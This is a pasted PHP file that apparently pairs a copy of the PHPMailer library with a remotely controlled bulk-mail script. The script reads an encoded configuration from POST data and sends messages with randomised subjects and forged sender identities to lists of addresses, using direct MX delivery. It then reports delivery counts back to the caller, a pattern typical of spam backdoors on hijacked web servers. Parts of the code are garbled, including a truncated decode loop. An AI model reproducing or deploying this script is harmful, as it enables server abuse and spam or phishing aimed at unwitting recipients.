  922. // Each line must have length
  923. <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end);
  924. // Average multi-byte ratio $ratio = $mb_length / strlen($str);
  925. // Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75);
  926. for ($i = 0;
  927. $i
  928. < $mb_length;
  929. $i += $offset) { $lookBack = 0;
  930. do { $offset = $avgLength - $lookBack;
  931. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  932. $chunk = base64_encode($chunk);
  933. $lookBack++;
  934. } while (strlen($chunk) > $length);
  935. $encoded .= $chunk . $linebreak;
  936. } // Chomp the last linefeed $encoded = substr($encoded, 0, -strlen($linebreak));
  937. return $encoded;
  938. } public function encodeQP($string, $line_max = 76) { if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3) return $this->fixEOL(quoted_printable_encode($string));
  939. } // Fall back to a pure PHP implementation $string = str_replace( array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string) );
  940. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  941. return $this->fixEOL($string);
  942. } public function encodeQPphp( $string, $line_max = 76, /** @noinspection PhpUnusedParameterInspection */ $space_conv = false ) { return $this->encodeQP($string, $line_max);
  943. } public function encodeQ($str, $position = 'text') { // There should not be any EOL in the string $pattern = '';
  944. $encoded = str_replace(array("\r", "\n"), '', $str);
  945. switch (strtolower($position)) { case 'phrase': // RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -';
  946. break;
  947. /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': // RFC 2047 section 5.2 $pattern = '\(\)"';
  948. case 'text': default: $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  949. break;
  950. } $matches = array();
  951. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search('=', $matches[0]);
  952. if (false !== $eqkey) { unset($matches[0][$eqkey]);
  953. array_unshift($matches[0], '=');
  954. } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  955. } } // Replace every spaces to _ (more readable than =20) return str_replace(' ', '_', $encoded);
  956. } public function addStringAttachment( $string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment' ) { // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($filename);
  957. } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => 0 );
  958. } public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if (!@is_file($path)) { $this->setError($this->lang('file_access') . $path);
  959. return false;
  960. } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path);
  961. } $filename = basename($path);
  962. if ($name == '') { $name = $filename;
  963. } // Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => $cid );
  964. return true;
  965. } public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline' ) { // If a MIME type is not specified, try to work it out from the name if ($type == '') { $type = self::filenameToType($name);
  966. } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => $cid );
  967. return true;
  968. } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true;
  969. } } return false;
  970. } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true;
  971. } } return false;
  972. } public function alternativeExists() { return !empty($this->AltBody);
  973. } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]);
  974. } $this->to = array();
  975. } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]);
  976. } $this->cc = array();
  977. } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]);
  978. } $this->bcc = array();
  979. } public function clearReplyTos() { $this->ReplyTo = array();
  980. } public function clearAllRecipients() { $this->to = array();
  981. $this->cc = array();
  982. $this->bcc = array();
  983. $this->all_recipients = array();
  984. } public function clearAttachments() { $this->attachment = array();
  985. } public function clearCustomHeaders() { $this->CustomHeader = array();
  986. } protected function setError($msg) { $this->error_count++;
  987. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError();
  988. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { $msg .= '
  989. ' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "
  990. \n";
  991. } } $this->ErrorInfo = $msg;
  992. } public static function rfcDate() { // Set the time zone to whatever the default is to avoid 500 errors // Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get());
  993. return date('D, j M Y H:i:s O');
  994. } protected function serverHostname() { $result = 'localhost.localdomain';
  995. if (!empty($this->Hostname)) { $result = $this->Hostname;
  996. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME'];
  997. } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname();
  998. } elseif (php_uname('n') !== false) { $result = php_uname('n');
  999. } return $result;
  1000. } protected function lang($key) { if (count($this->language)
  1001. < 1) { $this->setLanguage('en');
  1002. // set the default language } if (isset($this->language[$key])) { return $this->language[$key];
  1003. } else { return 'Language string failed to load: ' . $key;
  1004. } } public function isError() { return ($this->error_count > 0);
  1005. } public function fixEOL($str) { // Normalise to \n $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  1006. // Now convert LE as needed if ($this->LE !== "\n") { $nstr = str_replace("\n", $this->LE, $nstr);
  1007. } return $nstr;
  1008. } public function addCustomHeader($name, $value = null) { if ($value === null) { // Value passed in as name:value $this->CustomHeader[] = explode(':', $name, 2);
  1009. } else { $this->CustomHeader[] = array($name, $value);
  1010. } } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  1011. if (isset($images[2])) { foreach ($images[2] as $imgindex => $url) { // Convert data URIs into embedded images if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { $data = substr($url, strpos($url, ',')+1);
  1012. if ($match[2]) { $data = b64d($data);
  1013. } else { $data = rawurldecode($data);
  1014. } $cid = md5($url) . '@phpmailer.0';
  1015. // RFC2392 S 2 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) { $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message );
  1016. } } elseif (!preg_match('#^[A-z]+://#', $url)) { // Do not change urls for absolute images (thanks to corvuscorax) $filename = basename($url);
  1017. $directory = dirname($url);
  1018. if ($directory == '.') { $directory = '';
  1019. } $cid = md5($url) . '@phpmailer.0';
  1020. // RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir .= '/';
  1021. } if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/';
  1022. } if ($this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message );
  1023. } } } } $this->isHTML(true);
  1024. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better $this->Body = $this->normalizeBreaks($message);
  1025. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  1026. if (empty($this->AltBody)) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  1027. } return $this->Body;
  1028. } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html);
  1029. } return html_entity_decode( trim(custom_strip_tags(preg_replace('/
  1030. <(head|title|style|script)[^>]*>.*?
  1031. <\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet );
  1032. } public static function _mime_types($ext = '') { $mimes = array( 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', );
  1033. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  1034. } public static function filenameToType($filename) { // In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?');
  1035. if (false !== $qpos) { $filename = substr($filename, 0, $qpos);
  1036. } $pathinfo = self::mb_pathinfo($filename);
  1037. return self::_mime_types($pathinfo['extension']);
  1038. } public static function mb_pathinfo($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  1039. $pathinfo = array();
  1040. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1];
  1041. } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2];
  1042. } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5];
  1043. } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3];
  1044. } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname'];
  1045. case PATHINFO_BASENAME: case 'basename': return $ret['basename'];
  1046. case PATHINFO_EXTENSION: case 'extension': return $ret['extension'];
  1047. case PATHINFO_FILENAME: case 'filename': return $ret['filename'];
  1048. default: return $ret;
  1049. } } public function set($name, $value = '') { try { if (isset($this->$name)) { $this->$name = $value;
  1050. } else { throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  1051. } } catch (Exception $exc) { $this->setError($exc->getMessage());
  1052. if ($exc->getCode() == self::STOP_CRITICAL) { return false;
  1053. } } return true;
  1054. } public function secureHeader($str) { return trim(str_replace(array("\r", "\n"), '', $str));
  1055. } public static function normalizeBreaks($text, $breaktype = "\r\n") { return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  1056. } public function sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename;
  1057. $this->sign_key_file = $key_filename;
  1058. $this->sign_key_pass = $key_pass;
  1059. } public function DKIM_QP($txt) { $line = '';
  1060. for ($i = 0;
  1061. $i
  1062. < strlen($txt);
  1063. $i++) { $ord = ord($txt[$i]);
  1064. if (((0x21
  1065. <= $ord) && ($ord
  1066. <= 0x3A)) || $ord == 0x3C || ((0x3E
  1067. <= $ord) && ($ord
  1068. <= 0x7E))) { $line .= $txt[$i];
  1069. } else { $line .= '=' . sprintf('%02X', $ord);
  1070. } } return $line;
  1071. } public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1072. } return '';
  1073. } $privKeyStr = file_get_contents($this->DKIM_private);
  1074. if ($this->DKIM_passphrase != '') { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  1075. } else { $privKey = $privKeyStr;
  1076. } if (openssl_sign($signHeader, $signature, $privKey)) { return base64_encode($signature);
  1077. } return '';
  1078. } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  1079. $lines = explode("\r\n", $signHeader);
  1080. foreach ($lines as $key => $line) { list($heading, $value) = explode(':', $line, 2);
  1081. $heading = strtolower($heading);
  1082. $value = preg_replace('/\s+/', ' ', $value);
  1083. // Compress useless spaces $lines[$key] = $heading . ':' . trim($value);
  1084. // Don't forget to remove WSP around the value } $signHeader = implode("\r\n", $lines);
  1085. return $signHeader;
  1086. } public function DKIM_BodyC($body) { if ($body == '') { return "\r\n";
  1087. } // stabilize line endings $body = str_replace("\r\n", "\n", $body);
  1088. $body = str_replace("\n", "\r\n", $body);
  1089. // END stabilize line endings while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { $body = substr($body, 0, strlen($body) - 2);
  1090. } return $body;
  1091. } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha1';
  1092. // Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple';
  1093. // Canonicalization of header/body $DKIMquery = 'dns/txt';
  1094. // Query method $DKIMtime = time();
  1095. // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject";
  1096. $headers = explode($this->LE, $headers_line);
  1097. $from_header = '';
  1098. $to_header = '';
  1099. $current = '';
  1100. foreach ($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header;
  1101. $current = 'from_header';
  1102. } elseif (strpos($header, 'To:') === 0) { $to_header = $header;
  1103. $current = 'to_header';
  1104. } else { if ($current && strpos($header, ' =?') === 0) { $current .= $header;
  1105. } else { $current = '';
  1106. } } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  1107. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  1108. $subject = str_replace( '|', '=7C', $this->DKIM_QP($subject_header) );
  1109. // Copied header fields (dkim-quoted-printable) $body = $this->DKIM_BodyC($body);
  1110. $DKIMlen = strlen($body);
  1111. // Length of body $DKIMb64 = base64_encode(pack('H*', sha1($body)));
  1112. // Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  1113. $dkimhdrs = 'DKIM-Signature: v=1;
  1114. a=' . $DKIMsignatureType . ';
  1115. q=' . $DKIMquery . ';
  1116. l=' . $DKIMlen . ';
  1117. s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . ';
  1118. c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb=";
  1119. $toSign = $this->DKIM_HeaderC( $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs );
  1120. $signed = $this->DKIM_Sign($toSign);
  1121. return $dkimhdrs . $signed . "\r\n";
  1122. } public function getToAddresses() { return $this->to;
  1123. } public function getCcAddresses() { return $this->cc;
  1124. } public function getBccAddresses() { return $this->bcc;
  1125. } public function getReplyToAddresses() { return $this->ReplyTo;
  1126. } public function getAllRecipientAddresses() { return $this->all_recipients;
  1127. } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  1128. call_user_func_array($this->action_function, $params);
  1129. } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = '' . $this->getMessage() . "
  1130. \n";
  1131. return $errorMsg;
  1132. } } ///////////////////////////////////////////////////////////////// function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type) { $mail = new PHPMailer();
  1133. $mail->isMail();
  1134. $mail->CharSet = 'utf-8';
  1135. $mail->SetFrom($from_email, $from_name);
  1136. $mail->AddAddress($to);
  1137. $mail->Subject = $subject;
  1138. if ($type == "1") { $mail->MsgHTML($body);
  1139. } elseif ($type == "2") { $mail->isHTML(false);
  1140. $mail->Body = $body;
  1141. } if (isset($_FILES)) { foreach($_FILES as $key => $file) { $mail->addAttachment($file['tmp_name'], $file['name']);
  1142. } } if (!$mail->send()) { $to_domain = explode("@", $to);
  1143. $to_domain = $to_domain[1];
  1144. $mail->IsSMTP();
  1145. $mail->Host = mx_lookup($to_domain);
  1146. $mail->Port = 25;
  1147. $mail->SMTPAuth = false;
  1148. if (!$mail->send()) { return Array(0, $mail->ErrorInfo);
  1149. } else { return Array(2, 0);
  1150. } } else { return Array(1, 0);
  1151. } } function mx_lookup($hostname) { @getmxrr($hostname, $mxhosts, $precedence);
  1152. if(count($mxhosts) === 0) return '127.0.0.1';
  1153. $position = array_keys($precedence, min($precedence));
  1154. return $mxhosts[$position[0]];
  1155. } function myhex2bin( $str ) { $sbin = "";
  1156. $len = strlen( $str );
  1157. for ( $i = 0;
  1158. $i
  1159. < $len;
  1160. $i += 2 ) { $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  1161. } return $sbin;
  1162. } function b64d($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  1163. $chr1 = $chr2 = $chr3 = "";
  1164. $enc1 = $enc2 = $enc3 = $enc4 = "";
  1165. $i = 0;
  1166. $output = "";
  1167. $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
  1168. do { $enc1 = strpos($keyStr, substr($input, $i++, 1));
  1169. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  1170. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  1171. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  1172. $chr1 = ($enc1
  1173. << 2) | ($enc2 >> 4);
  1174. $chr2 = (($enc2 & 15)
  1175. <
  1176. < 4) | ($enc3 >> 2);
  1177. $chr3 = (($enc3 & 3)
  1178. <
  1179. < 6) | $enc4;
  1180. $output = $output . chr((int) $chr1);
  1181. if ($enc3 != 64) { $output = $output . chr((int) $chr2);
  1182. } if ($enc4 != 64) { $output = $output . chr((int) $chr3);
  1183. } $chr1 = $chr2 = $chr3 = "";
  1184. $enc1 = $enc2 = $enc3 = $enc4 = "";
  1185. } while ($i
  1186. < strlen($input));
  1187. return $output;
  1188. } function decode($data, $key) { $out_data = "";
  1189. for ($i=0;
  1190. $i$email) { $theme = $data['s'][array_rand($data['s'])];
  1191. $theme = alter_macros($theme);
  1192. $theme = num_macros($theme);
  1193. $theme = xnum_macros($theme);
  1194. $message = $data['l'];
  1195. $message = alter_macros($message);
  1196. $message = num_macros($message);
  1197. $message = xnum_macros($message);
  1198. $message = fteil_macros($message, $uid);
  1199. $from = $data['f'][array_rand($data['f'])];
  1200. $from = alter_macros($from);
  1201. $from = num_macros($from);
  1202. $from = xnum_macros($from);
  1203. if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from);
  1204. } else { $from = str_replace("[CUSTOM]", "", $from);
  1205. } $from_email = explode("<", $from);
  1206. $from_email = explode(">", $from_email[1]);
  1207. $from_name = explode("\"", $from);
  1208. $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
  1209. if ($last_error[1] === 0) { $good++;
  1210. } else { $bad++;
  1211. $good = count($data['e']) - $bad;
  1212. } } $res["r"]["t"] = $last_error[0];
  1213. $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  1214. $res["r"]["g"] = $good;
  1215. $res["r"]["b"] = $bad;
  1216. return serialize($res);
  1217. } $config = array_values($_POST);
  1218. $res = type1_send($config[0]);
  1219. if ($res) { echo $res;
  1220. } exit();
Add Comment
Please, Sign In to add comment